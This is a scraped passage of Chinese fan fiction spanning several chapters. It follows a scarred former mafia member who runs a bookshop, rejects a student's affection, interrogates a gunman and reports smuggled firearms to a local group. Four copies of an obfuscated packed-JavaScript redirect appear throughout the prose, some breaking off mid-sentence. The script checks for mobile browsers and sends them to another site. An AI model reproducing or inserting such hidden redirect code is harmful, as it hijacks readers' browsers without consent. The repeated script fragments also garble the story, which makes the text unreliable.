d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653734|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多人,除此之外,他还做过许多以苏枋的人生阅历想象不到的事。换言之,他在组织的每一天都在犯罪。有时候是自卫,有时候是执行组织的命令。黑手党组织永远是以犯罪为底色的,无论何时。 佐久间弥津想要收回手,眼前的少年却把他的手牢牢抓住。 “你是自愿成为黑手党的成员,还是被逼迫的呢。” 少年完好的左眼里拥有这个年纪的人才会有的对未知的无限好奇和探究的热忱与勇气。 “如果可以的话……我希望你不要离开。” 不要离开这个无人恐惧你过去的地方,也不要离开等待你回来的我。 不要再回到那里了。明明好不容易才走到这里,不是吗。 守着这间没有客人的书店,像在深山老林里守着无名的古寺。没有想见的人,其实他一点都不习惯。 ……唉。 佐久间弥津对少年不曾畏惧的直白感情毫无还手之力。 要如何才能说服苏枋和他保持距离,他在回程的飞机上想了好久,摘下墨镜偷看他一眼却被他逮到的优也只知道给他出馊主意。 杀掉,首先pass;搬家,治标不治本;提前回总部,不行,他还不想那么早结束这里的生活。 他总要和苏枋理清楚,毕竟这个年纪的人最不懂该何时放弃。 “你会忽然提起这个,是我的哪些行为妨碍到了你吗。”所以,让你想和我保持距离。 他摇头。妨碍谈不上。就连苏枋希望他留在这里的想法,都不算阻碍。因为这只是想法,他要走,苏枋也拦不住。 他强行把右手从苏枋手里抽出来,装作没有看懂少年的眼神。 “我实在没想到,弥津先生,” 少年神色落寞,让人于心不忍。 “这是我等待三个月之后收获的东西……” 说话的少年落入了一个不带任何情色意味的拥抱。没有撕心裂肺的情感冲击,也没有花言巧语的百般解释。像过去一样安慰般轻轻拥抱着他的人在他耳边自白。 “我是杀人犯,苏枋。” 佐久间弥津缓慢地说。 嗓子不会预警,也让苏枋能听清。 “手不干净。干过坏事。” 他的手不干净,身份也不干净,自称是“杀人犯”也说得太轻巧。但能让苏枋立刻理解他立场的也只有这个描述了。 他希望苏枋能明白,和他这样的人走得太近,一点好处都没有。 他是通过一些手段避免世俗法律制裁的极其卑劣之人。 少年许久都没有回答。 “我身边的人,都是如此。” 苏枋见过的每一个人,每一个因他来到这里的人,身上都背负着或多或少的罪恶。他们不能回头,不能犹豫,回头就会万劫不复。 背着数不尽的罪恶度过这一生是他们自己选的路,和任何人无关,不需要别人对他们负责。 如果苏枋是个三观正常的人,此刻绝对不会对他说“我不在乎”这种不负责任的话。就像没人会觉得杀人犯和纵火犯是“好人”。 他替苏枋理了理衣领,低声说,“谢谢。” 谢谢苏枋在他不在的日子里为他所做的一切。但他们必须保持距离,为了以后不再发生同样的事。 ……? 刚刚那一瞬间,发生什么了。 在他反应过来之前,苏枋夺门而出,他分明看到飞也似的跑掉的人笑容满面。 他用手背蹭了蹭留下异样触觉的脸颊。 ……他是被亲了一口吗。 45.偶遇很多人的都市传说 虽然过程是曲折了些,但目的似乎达到了。苏枋不再频繁地单独找他,也没提起过那个让他猝不及防的吻。 像贴面礼似的,甚至可能比这还轻盈的吻,佐久间弥津可以当无事发生。 他原以为书店重新开业不会在商店街上引发多大的波澜,可附近发现他回来的街坊邻户都对他的“回归”表示高兴。得知他是去外地治病后——他原以为这是个极佳的理由,便如实相告——特意送来许多常规补品。 他对周边居民的善良和淳朴感到畏惧。 那群共同经历许多,今年也要升上高中三年级的少年们在他面前吵吵闹闹,嘈杂的声响差点把书店的屋顶掀翻,那天偷亲他一口就溜得无影无踪的人也在赫然在此列。 听说他的嗓子做了手术,少年们惊奇又激动地盯着他,像是能靠眼睛看出他的病情似的。 他思量片刻,说,自己需要静养。 没看出他在找借口的少年们像来时一样相伴离开了,他唯独要求苏枋留下,他有事说。 而被他要求留下的少年玩笑道,“有点像国中的时候被老师留堂,很可怕的感觉。” 是些更可怕的。他说。 苏枋做出一副洗耳恭听的样子,“是什么。” 你年纪小,我这次不会怪罪你。 “其实,我倒是希望你怪我,弥津先生。”苏枋隼飞说出自己的心里话,“波澜不惊地拒绝我的想法,即使是我,也会觉得像被小看了。” 似乎要说的话太多,做过手术的人瞥了他一眼,重新用起半退休的发声插件。 “不要总是让我重复我的意思” 许是苏枋隼飞像罚站似的站在店里十分奇怪,有同样穿着风铃高中校服的少年在店外驻足停留,神情困惑地看着学长和看样子是店长的青年聊了好一会儿天。 时机正好,苏枋隼飞乘机解释说是风铃今年的新生,用以打断青年对他的漫长“说教”。 他怎么可能不懂弥津先生所说的一切。目睹了那么多,他知道自己与青年的距离比他想象中还要长。可能要爬许多座像珠穆朗玛峰一样高的山,要淌过像尼罗河一样长的河,他才能以弥津先生愿意承认的身份留在他身边。只是一介学生,他说什么,弥津先生都会认为是他太年轻,所以爱白日做梦说胡话。 不会被当真,自然也不会被重视。 怎能不让他心生感慨。如果这就是“黑手党人”的思维方式,那不是和常人无异吗。 体谅起少年面子的人冲苏枋隼飞摆了摆手,“你……”先回学校吧。 “我挺喜欢呆在你身边的。” 再也受不了少年的心思,青年眯了眯眼睛。 苏枋隼飞想说,他一时不回去也没什么。但左腿忽然一软,在腿部肌肉持续传来的酸痛和无力中,单膝跪倒在桌前。书桌和电脑屏幕遮住了弥津先生的身形,他抬头也看不到弥津先生此刻的神情。 是真的生气了吗?还是想逃避这个话题。 他费劲地用右腿支撑起全身,颇为狼狈地站起,听到弥津先生低声告诫他,“我的朋友,对你感到恼怒。” 水落不是他。他以前担心水落被优惹出杀心,现在担心苏枋不听劝。 但如果水落执意杀掉苏枋,他不会阻拦。毕竟想拦也拦不住。 * 又一年的雨季如期而至,今日天空依旧阴云密布,地上一滩又一滩的积水映照着街道两边的商铺与楼房,行人们纷纷绕着水潭走,免得鞋沾上脏兮兮的泥水。 昨日的雨水未干,今日的雨又即将落下,叫苦不迭的同时,不少商家依旧支着明明叫遮阳伞却起挡风挡雨作用的大伞,准备好露天座位。 白天的居酒屋很冷清,客人稀少,早就过了中午的饭点,露天座位上却有一位年轻的客人。 独自前来,独自饮酒,没有伴,上身穿了一件浅灰色的短袖,露出的右胳膊上有几道堪称丑陋的疤痕,想来是被何种利器从上到下狠狠划下,但如今愈合得差不多,戴着一双纯黑色的手套,衬得青年其他部位的肤色更显干净白皙。 青年喝酒很慢,似乎在让嗓子适应酒液的温度。一杯酒见了底,青年重新点单,这次点的是茶,配以沙拉和烤鱼。 打算独自度过阴天午后的青年没想到会在这里见到有过几面之缘的人。 少年好奇地站在桌边,问道,“听说你做了手术,老板。” 佐久间弥津点头承认。 他示意少年如果不急着走,可以坐下。 桐生三辉从善如流地坐到老板对面的椅子,看了一眼喝光的酒杯,“虽然我不太懂……但喉咙做过手术的话,还是不喝酒更好吧。阿苏他们说,你以前也总是喝酒。” “嗯。已经做完四个月了。” 他偏要喝的话,除非医生闪现到他面前,不然有谁能妨碍他。 桐生没有穿风铃的校服,但爱戴发夹的习惯还有特点鲜明的可爱风格衬衫,很难认错吧。 已经度过了几个月的恢复期。他的发声能力究竟可以恢复至什么程度,从现在的发声水平就可见一斑。 “是暑假了吗。”他问。 “欸,是。”如果不是在假期中,他也不会在下午三点半出现在这里。这片街区离风铃有些远,打完游戏,他偶尔也是要出门看看的,“刚放假几天。” 做过手术却还是更习惯保持沉默的青年对少年的视线不甚在意。桐生问起他胳膊上为什么会有那么严重的伤痕,他没有实话实说,用意外一词来敷衍了事,又为其点了一杯无酒精调饮,美名其曰捂嘴。 知道他没说实话的少年知趣地没追问,和他一样沉默地坐在椅子上发呆。他似乎总在假期遇见桐生,家在附近吗。 随着两道脚步声的接近,少年的眼神逐渐变得警惕而专注,紧盯着从他身后走近的人。 “好巧啊老板,你也在这……哎,你的新纹身怎么这么难看。” 佐久间弥津愣了一下,缓缓扭头看向自觉拉开椅子坐在旁边一桌的二人。 “这什么抽象派的艺术,好丑啊。”原来的纹身挺漂亮,一看就是精心设计过的,哪像现在这个……真丑。这是找哪个设计师设计的。 终于明白棪堂哉真斗在说什么丑的人被这番胡言乱语气笑了。 他们很少——其实是几乎没有——见过青年出于什么原因笑,整个人淡得跟一道白灼菜似的,只有动手时的迅速果断能让他们眼前一亮。 放下茶杯的青年低声道,“闭嘴,棪堂。” 刚想继续吐槽两句的人猛地收起玩笑的心思。棪堂哉真斗看了同伴一眼,发现焚石脸上也有种说不出的困惑,他才确认自己的记忆没有出错。 他惊呼,“你不是不能说话吗?” 声音听起来很粗糙,但确实是在对他说话,还是让他闭嘴。 他在探明老板为什么突然能说话之前是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657934|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会闭嘴的。 咬着饮料吸管的少年默默地看着这一幕,不明白老板为什么会和这两个曾经把风铃搅得不得安生的家伙有交情。 观察了一阵,他没有发现彼此之间有剑拔弩张的敌意。 “不是纹身。” 不是纹身?那是什么。 青年又不说话了。 焚石矢早在落座后就开始观察青年胳膊上的印记了。他最后作出判断,这是伤。 一整条胳膊上的印记,都是受伤结痂,痂皮脱落之后留下的痕迹。 无论是举杯喝茶还是用叉子吃配餐的沙拉和烤鱼,青年无一例外都是用左手,右手很少动,最多摆弄一下餐盘的位置。也就是说,这个男人,右胳膊受了很重的伤。重到右胳膊不方便动。 而棪堂哉真斗的关注点还在为什么许久不见,嗓子哑了的人竟然能正常说话了。 “做了手术。” 是吗。棪堂哉真斗趴在椅背上,目不转睛地盯着老板的喉咙,“现代医疗技术……可真有用。” 老板似乎没有再搭理他的意思。 棪堂哉真斗像慢半拍似的问出和焚石一样的问题,“你怎么受了伤的。” 这口气听起来简直就像熟识的朋友一样。 桐生三辉悄悄想。老板给出的回答仍然是意外,并且对那二人出现在这里的理由不感兴趣。 没有被区别对待是挺让人高兴的,但他也挺想知道老板怎么会受伤。 喝茶的人在吃烤鱼,喝调饮的人在玩手机,什么都不干的人在明示老板请客。 “你上次都快要干掉我了,不打算做点什么来补偿吗。” 上次?什么上次。 桐生三辉的眼睛盯着手机屏幕上移动的小人,支起耳朵极其认真地听这个家伙对青年“严刑逼供”。虽然啦,风铃和这两个人是不对付。但有老板在场,他们几个此刻很难起冲突吧。 而且,他手里的饮品可是老板请他喝的。 “不打算。” “哎,怎么一点幽默细胞都没有呢,老板。这种时候你就应该回答‘那你想要什么’我才能继续说下去吧。” 青年放下餐具,扭头看他。 “你想要什么。” ……也不用这么配合吧! “……” 看着青年那双平淡的眼睛,棪堂哉真斗说不出话。 身边的同伴拽了他一把,不看气氛地指着摆在桌上的菜单,“要这个。” “……行。” 佐久间弥津无意呆太久,如果能在暴雨来临前回到店里,这样的安排实在是再好不过了。 可他刚要起身结账,却发现身边的人不约而同地朝他望了一眼。有人装出一副抱歉的样子,眼神却没有一丝歉意;也有人只是眯了眯眼,一边按手机一边对他笑,他不记得名字的人反而最冷静。 怎么了。 他扭头,发现陆陆续续有陌生的家伙聚到居酒屋门前,看衣着风格,甚至不是一伙。 “怎么回事。” “抱歉,老板,”桐生三辉合掌轻轻一拍,“其实我刚才在躲仇人。但你邀请我一起坐下,我就坐下了。”而且老板还请他喝店里最贵的无酒精调饮,他怎么能错过。 ……你们两个呢。 还在菜单上挑东西的红发年轻人没理他的询问,棪堂哉真斗望着那群不成气候的家伙,语气不太认真,“仇家上门咯。” 46.生气的都市传说 自己惹的麻烦,自己去解决。 佐久间弥津要置身事外了。 如果解决不了,就逃跑吧。他可以帮忙规划逃跑路线。 “你就这么撒手不管吗,我还以为……” 棪堂哉真斗表情夸张地吐出一连串拟声词。 “这样然后那样……你就把这些家伙都杀掉了。” 佐久间弥津没回答棪堂哉真斗故意作弄的玩笑话,沉默着望着街道上格外“热闹”的人群,眼神锁定在一个身形佝偻,走姿奇怪,神情也不够坦荡的男人身上。 其实他还有闲心再点一份精致的薄荷味小甜品,不讲姿态和风度的几口吃掉。随后进店招呼对室外奇异场景感到紧张的年轻店员结账。 店员惊奇地发现客人多付了钱,刚要追出店外,就被脸色凝重的经理喊住。 那个人多付的是餐具的钱,经理对他说。 ……餐具的钱? 店员回过头,才发现用过的叉子搭在盘边,但另一只配套的餐刀消失不见了。 * 打斗喧哗的人群中,有人被扇巴掌的声音十分响亮。 无人知道那个身姿挺拔的青年是何时穿过人群来到混乱的中心的。青年戴着手套,干脆利落地甩了一巴掌出去,对此毫无预料的凶徒愣在原地,似乎没想到自己会在大庭广众之下遭受如此羞辱。 待其反应过来前,脸色冷淡的银发青年又用力甩了一巴掌。 被打后恼羞成怒的人朝眼前的男人挥出一拳。却被青年攥住出拳的手腕向下一按。卸掉这一拳的力道之后,继续朝后猛拽一把。 歹徒被拽得朝前一个踉跄,正好又被提膝一顶。肋骨下方传来的剧痛让人头晕目眩,几乎要窒息。 侧身躲开歹徒下坠的身体,佐久间弥津任其扑倒在地。 “哇哦。” 棪堂哉真斗眺望着这一幕。老板的身手居然也不差。他原以为这人只会用那份神秘的力量。 但青年接下来的话让听者纷纷心头一颤。 “枪,哪来的。” 那道令人难以轻易忘记的低哑男声传达出一个极其不妙的情况。 扑倒在地上的男人一惊,就要抽出身上最后的底牌将这个陌生青年置之死地,然而青年比他更快地一脚踢飞那把手枪。 滑出几米远的手枪在无人触碰的情况下爆炸,接下来惨绝人寰又让人摸不着头脑的一幕在他们眼前上演。 趴在地上抽搐的男人开始在剧痛中疯狂地打滚,像被猛兽咬住的食草动物,试图翻滚以摆脱猛兽的撕咬。但无论如何挣扎,蚀骨之痛仍然在其身体里仿佛有生命的虫孑乱窜。 终于,在一段让人搞不清状况的折磨过后,青年重新提起持枪者的脑袋,再次问道,“来历。” 呢喃半天,持枪者说不出完整的话。 青年给出最后一个机会,银光闪闪的餐刀划在身形狼狈的男人脖颈上。 奄奄一息的男人被老板提在手里,看得桐生三辉脊背发凉。 目睹老板的作为,又看着那个倒霉蛋经受非人的折磨,他却迈不开步子。既无法在惨剧结束前像其他对此情此景感到恐惧的家伙一样慌张逃走,也无法上前一步和老板并肩,看清惨剧的前因后果。 他瞪大眼睛,难以置信地看着老板以他从未见过的手段对歹徒逼问枪械的源头。 这和他认识的,会和他们堆雪人、吃烤肉甚至十几分钟前还在和他随意闲聊的老板截然相反,似乎得不到答案就会当场杀死这个持枪的倒霉蛋。 “你……怎么回事。”焚石矢忍不住出声问。 他和这人是没关系,但这种手段不是很像杀人犯吗。没人会在众目睽睽之下当杀人犯吧。 衣角沾上一点血迹的青年回头望了他们一眼,色彩艳丽的眼睛无声地阻止他们上前。 站在焚石矢身边的棪堂哉真斗把话咽了下去。 他想起来了。 他们上一次见面时,他开玩笑地问老板是不是做过“杀人”、“抢银行”以及把人沉进东京湾那样的事,老板是点头承认了。他们根本没当回事,以为老板也在开玩笑。 现在看来,老板是个诚实的人……只不过这种诚实太不可思议所以没人信。 他们如今只能沉默地看着老板把被折磨半天的男人丢弃掉,只身离开。 不,这样,不行吧。难道要任凭老板做出那种……像去追杀什么人一样的举动?桐生三辉实在想不出办法,下意识望向也许会和他站在同一立场的二人。 焚石矢不加思考便追了上去,不在乎自己会不会被青年误伤。既然同伴追了上去,棪堂哉真斗自然也会一起去。至于这个连名字都不知道的风铃学生,他可不管。 因不同目的而聚集的人群早已作鸟兽散,没人会想触一个十分凶残的家伙的霉头。 暂时无处可去的桐生三辉站在街头,发了很久的呆,久到天空落了雨,且雨势越来越大。 他躲进店家还没收拾的遮阳伞下,重新端起那杯还没喝干净的果汁调饮。 盯着老板身影消失的街道尽头,桐生三辉想起一个人,那个人或许知道怎么办。 * 在瓢泼大雨中,中村干路辨认出了来客的身份。 青年生着一双色彩极其鲜明的玫红色眼睛,看向他的眼神谈不上冰冷,更不像来者不善。 本该在昼夜交替的逢魔时刻,却因为阴雨连绵的天气而变得更加普通。这个时候,店里几乎没有来消费的客人,要再过一段时间,才会迎来客流高峰。 青年淋着雨,站在门外,望向他的眼神似乎有话要说。 可他明明记得此人说不了话。 “我有事找你。” 声音听起来仍然奇怪,但比一两年前好了很多。 他判断来人没有敌意,打算引对方进门,却一抬眼看到了追在青年身后的人。他笑了一声,“但这里不太欢迎你后面的人。” ……这几个人怎么会走到一块。他心想。那两个人和他们有些不吐不快的过节。那一副想靠近又碍于什么所以无法靠近的样子,碍眼得很呢。 “你是‘六方一座’的团长吗。” 雨水在地上流淌,混杂着泥水,透明的雨丝连成雨幕,即使衣服不可避免地被雨水淋湿,也无法掩盖青年身上优雅但冷淡的气质。 “……是。你想说什么。” 青年轻轻咳了一声,继续道,“这里流入了枪支。” 讲述还在继续,但声音越来越嘶哑,中村干路决定请带来这番消息的青年同他去别处坐坐。至于那两个家伙,可不能跟过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666898|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他请青年来到店里的后台。这里有表演演员的休息室,目前暂时没人。他为青年倒了一杯水润嗓子,收获了一句“谢谢”。在话题步入正轨前,他直言不讳地问,“你以前是做什么的?” “什么都干。听命行事。” “……雇佣兵?” 专程来找他的青年摇了摇头,甚至没有隐藏身份的想法,“黑手党。” 怪不得。中村干路对此并不太惊讶。一个突然出现在此地的外地人,还能和那两个人平安无事地同行一段路,那一定不是普通人。黑手党成员这种身份背景是有些吓人,但考虑到此人是在风铃的街区开店两年之久的人,若是为人有问题,早被驱逐了。 青年把不久前经历的事对他娓娓道来。讲述得清楚明白,他没有提问的必要。 青年说,自己身份特殊,不能出面,“需要以你们的名义。” 一个局势如何混乱的城市,只要属于独立的国家就会有相应的机关存在。这座城镇的“本地帮派”还远远没到犯罪组织的程度,难以独自处理这种事件。 他靠经验可以独自处理……但扫尾极其麻烦。所以,他需要本地人接应,最好是有经验的成年人。 一直追着他从居酒屋门口来京成街的人咬着他不放,偏要从他口中得到那个被他拷问的家伙给出的情报。如果那两人是听从他命令的“下属”,他会同意……只可惜那两个人的脸上写满了桀骜不驯,要让他如何放心与其合作。 中村干路对眼前这位青年全部的信任来源于梅宫对此人的信任。是梅宫信任的人,他就不会没有怀疑。 但他还是想问,“你为什么要做到这份上。” 既然不愿在他面前掩饰身份,黑手党成员……这种和犯罪并行的身份,又为何要在意一个本就混乱的城镇会不会被人在暗中添一把火。人们刻板印象中的“黑手党组织”成员,会置身事外甚至悄悄当推手,浑水摸鱼,妄图从中获利才对。 而青年面容平静地望着他,捧着水杯,轻声说,“我答应了梅宫。” 自己答应了梅宫,会帮忙。说他会帮忙履行守护那片街区的责任也好,是帮忙照顾现在还是学生的少年们也好,总之,他是答应过的。就让他在还不算真正回归组织之前,再帮这座城镇的人做点什么,也不算辜负梅宫对他的信任。 中村干路深吸了一口气。 ——梅宫果然没看错人! 这家伙虽然自称是黑手党成员,但是很有责任心的那种啊! 旁人不知道六方一座的团长和雨天上门来找人的青年聊了什么,但二人离开后台房间时,勾肩搭背的——中村干路单方面勾肩搭背,单方面说说笑笑,银发青年手里还端着一杯热水。 他们的男公关说五句,来历不明的青年回一句,还极尽简短,惜字如金,但凡是听到青年说话的人都会明白其为何会在交流上如此省力。 嘘寒问暖的样子比护送客人时还热心。 但青年显然用不着他热情。 二人在门口停下,青年回头道,“你的联系方式。” 中村干路郑重地给出一张名片。 “我的联系电话在上面,店里的电话也有。” 青年点头,收好设计精致的纸质名片,利落地转身走进今夜不会停下风雨中。 47.误入赌局的代负责人 水落望音手里拿着一张纸质电影票。 是“钢琴家”给的。 据说他和人打赌,最终输给了同为组织成员的好友,导致他不得不把好友出演的电影首映场的票交给从电梯里出来的第一个人。不管这个人是谁,都必须劝说其收下,否则钢琴家就要把票亲自送给位于顶楼办公室的首领。 而钢琴家绝不同意后者。 “很抱歉。但是拜托了,水落君。”钢琴家的语气相当沉重,大有水落望音不同意的话他就继续说服的意思。 不想插手国内部门成员的恶作剧,也不愿意在此事上浪费时间,水落望音点头,接过这张意义不明的纸质票,从二人中间穿行而过,朝着走廊尽头走了过去。 钢琴家向最近有新电影上线的好友摊手,表示“这种事很轻松”。 “……你运气真不错。”公关官假意逢迎。但真的轻松?他才不信,别以为他没看到电梯门打开之后身边人脸上略微凝固的表情。 “自然。”钢琴家大方地收下了友人不发自真心的赞美。 公关官原本做好了嘲笑朋友的准备,谁知此事会进行得如此容易。他不认为结束工作就会赶回欧洲部门的水落望音真的会去看电影,收下电影票只是顺手帮钢琴家一把,就当让钢琴家欠他一个微不足道但有存在感的人情。 “如果第一个从电梯里出来的人是我的下属,会更容易。” 钢琴家的话像在暗示什么。 “你要干压迫下级的事吗?”用身份压人,让人不耻哦。 “这叫我‘拿知名主演给的票请他们看电影’。”说得好听点可以是“借花献佛”。 然后,当他们发现电影主演越看越眼熟好像在组织里见过,会害怕得冲出电影院吧。不是组织里所有的成员都知道他的“主业”。 谁知道呢,钢琴家转过身,“现在可以说你调查到的那些事了。” 办公室的大门重重合上,公关官在友人的办公室里放松得很,占了最舒服的一张沙发。 “敢不敢和我再赌一次。” 钢琴家让他继续说赌什么,“这次不赌你的电影票房。” “那就赌……”大明星灵机一动,“赌那个奇怪的侦探社什么时候会再和组织的人起冲突吧。” 这怎么赌。 “我赌在一周之内,七天,168小时以内。以现在的时间为准……下午三点十二分。”在组织里负责各类谈判任务,公关官的直觉告诉他,那个侦探社不是能轻易打发的组织,“起冲突的机会也许要多少有多少。” 这和你调查的结果有关吗。 “在异能特务科口中,对我们有极大敌意的奇怪组织是被重点培养的,不仅干‘侦探’的本职,还和军警部门有业务往来。” 也就是说,那是个一定会站在我们对立面的组织? “理论上正是如此。”而且,他还得知,他们逝世的前首领,森先生,和那个侦探社的社长似乎有点交情。那个侦探社胆子很大,最近,他们甚至在想方设法调查上面那位的事。 钢琴家点头,表示自己知道了。 “哦……对了,还有一件事。你不感兴趣,但我认为很有意思。” 若不是看到刚才误入赌局的男人,他都想不起这回事。 “我看了导致佐久间弥津重伤的袭击事件报告。” “你怎么会有权限。” “我是没有。但中也有。” 越说越邪乎。你为了了解一个和你没多大关系的人,去低声下气地求中也给你调文件?他看不出来你找不到情报急得团团转的可怜是演的吗。 少幻想了,当然不是“求”来的。 “你还没说你赌几天。” “你赌一周内……那么我赌八天,168小时之后。” 接下来,他们只需要静待一周内是否有消息传来。 * 他有次去中也的办公室找他,发现办公桌上多了一个八音盒摆件。花纹设计复杂但精致,光用肉眼看,根本看不清占比大同时又华丽的镂空纹样。 八音盒?哪来的,欧式风格很强。他放下报告,随口一问。听了他的话,把刚才看完的文件随手丢进碎纸机的友人兼上司凝视着八音盒,沉默半晌,说是佐久间送的。 看他一脸震惊,中也连忙补充说,是很久以前送的。 “一直放在欧洲部门的办公室里。前几天我想起来还有这东西,就让水落哪次回国的时候记得带来。是很多年前送的,当时……” 中原中也的脸色因此变得很奇怪,他有点不好意思说下去。佐久间对他说,这是从卖给他雨伞的店家手里买的小物件。一想到佐久间花了大价钱的伞,他就抑制不住对佐久间的同情。 最高干部的表情落在公关官眼里,就像在替别人尴尬。 他思索着,难道这个八音盒来路相当特殊,“怎么了,当时发生了什么事。” “……也没什么。”中原中也誓死捍卫下属——前下属也是下属——的面子,“这个八音盒我当摆件用了很久。” 经典款的八音盒,需要配套的打孔纸带。中原中也没想过为此特意去购买,毕竟八音盒的造型太有历史感,不知道现代社会里还能不能找到合适的纸带。 话题不可避免地扯到了佐久间弥津身上。 中原中也是得知了佐久间做了手术的消息,也知道手术后要静养,他没特意打电话问情况。 反正,佐久间是受了伤知道去医院、时机到了知道做手术的正常人,不会愚蠢到钻牛角尖和自虐。 导致佐久间弥津重伤的事件,当年怎么没有在本部掀起大的波澜。 难道仅仅因为那人没受重伤危急性命? 问出这个问题的人并不期待得到详细的解答,他正打算放下文件之后,收拾收拾回办公室准备回家——或许真如某人所说,是自己忙于其他事所以没听到相关的风言风语。 然而中也改变的脸色实在让人在意。他接着问道,“是另有隐情吗。” 没什么隐情。佐久间在那件事上做的很好。除了…… 除了? “除了他有的是方法干掉敌人。”却偏偏等到自己身陷囹圄,自救都麻烦。 此话怎讲。 “当年我在国内,水落在意大利出差,瞅准这个机会实施自杀式袭击的家伙准备和拦住她们的人鱼死网破。” 拦住她们的人……是佐久间弥津? “准确来说,是佐久间手下一个察言观色很有一套的异能力者。” 接着,中原中也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671800|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又陷入了让公关官始料未及的沉默中。 比起沉思,更像在判断。 故事或许没有那么平淡。公关官心想。 中原中也接下来的话的确属于说明文件上不会记载的内容。 也不方便记载。因为除了当事人之一的水落望音,没人觉得和这件事有关系。 “那件事发生的三天前,水落临时有急事,拜托佐久间替他处理当天的工作。作为交换,解决掉手边麻烦事的水落过几天替佐久间去意大利出差。” 他们都没有预料到之后会发生那样的事。 时间实在久远,若不是水落望音亲自和他聊过,中原中也其实也不会记得这种事。 公关官很快明白了中原中也没明说的意思。水落望音心中对佐久间弥津的伤是有几分愧疚的。没有拜托佐久间弥津帮忙,直面杀手的会是水落望音本人。 “啊,虽然,”中原中也强调自己的看法,“我仍然觉得佐久间在那对杀手身上吃瘪是因为他有时候多到泛滥的心软。啧……这是他的老毛病了,不会一辈子都改不了吧。” 他管不着那两人私下的关系好坏。随他们去好了,以他对佐久间的了解,哪怕这件事是真的,佐久间也不会埋怨水落。 * 钢琴家听完整个故事,意外地说,“还有这种秘闻。” 但时至今日,还有谁能说得清当年奔着鱼死网破而去的杀手真正的目标,是原计划留在英国的水落望音,还是计划有变从而成为抵御风险的第一道防线的佐久间弥津。 “之后,我去看了完整的文件。挺后悔的,浪费了我半个小时。” 怪不得中也很轻易就答应让他去看原件,因为根本没有看的价值。 没有一点吸引人的描述,全是简略的概括,连伤亡人数都没写,只写了“伤者已送医,经治疗后无大碍”这种话。当年这种汇报文件是怎么通过的…… 坏了。 该不会这是中也自己批的报告吧。 公关官越想越觉得有可能。刚加入组织的时候就不认真写任务报告的人,会容忍手下的家伙随他一样写这种没太多信息量的报告,可能性非常大。 真相如何,已经不可考证了,无可否认的是,在作为那二人上司的中也心里,水落望音和佐久间弥津的相同点是单兵作战能力极强,换句话说,当时留在欧洲部门的是谁,都能做到从杀手手里保全欧洲总部。 从结果来看,佐久间弥津是受了伤,可显然这是每个人都能接受的结果。既然佐久间弥津拖着病情不做手术,想来不方便讲话并没有对他的生活造成影响。 不是计划未来复职,恐怕此人做手术的决定不会这么早做。 二者关于第三人的讨论到此结束,又回到了侦探社的问题上。 组织高层之间的交流向来如此,快速,精准,强调目的导向。 而意外闯入他们赌局之中的青年已经忘记了电影票的事,强行从镜优手里夺过手机,无声地冷笑着看镜优无能狂怒。 “别吵架,先回答我。” 视频通话那头的人轻声催促道。 “你看电影吗。” 虽然不知道水落为什么这么问,佐久间弥津老实回答,“不看。” 他现在有急事。 48.技惊四座的都市传说(上) 棪堂哉真斗板着脸,把手电筒指向青年面前的那一箱枪支。 他怎么就沦落到当灯架子的下场呢。 出言制止视频通话对面的人们吵闹,老板拿着手机,催促他不认识的家伙快点干活。 也就是,辨认枪支型号。 他无所事事地盯着这堆他不认识的枪看。满屋都是钢筋焊的铁架,架子上摆着相比之下质量极差的黑色塑料箱。假如是他的话,他怎么都会拿带密码锁的保险箱装。 “我说,老板……” “谁在你旁边。” 棪堂哉真斗正想继续说话,谁知青年轻轻皱着眉头对他做了个“安静”的手势,随后回答通话另一头说,“帮忙的人。继续吧。” 把房间里的箱子一一翻过,青年拿着手机进了下一个房间,和焚石兵分两路的他只能继续当他的灯架子。 下一个房间里的陈设和方才的并无不同。地下室改造而来的置物间没有窗户,但空气干燥又带着一股渗人的冷意。水泥墙面上抹着一层厚厚的腻子,还有种……和新装修的房子极其类似的难闻气味。走在他前面的老板脱掉了有点薄但能防住风的白色长外套,露出了上身穿着的淡蓝色的短袖。 右胳膊的伤痕明晃晃地暴露在他眼皮底下,他心痒得很,想知道这些伤到底是怎么来的。 外面在下雨。 老板的外套搭在左胳膊上,盖住了拿在手里的伞,他在老板的带领下当起了清点枪支的帮手。 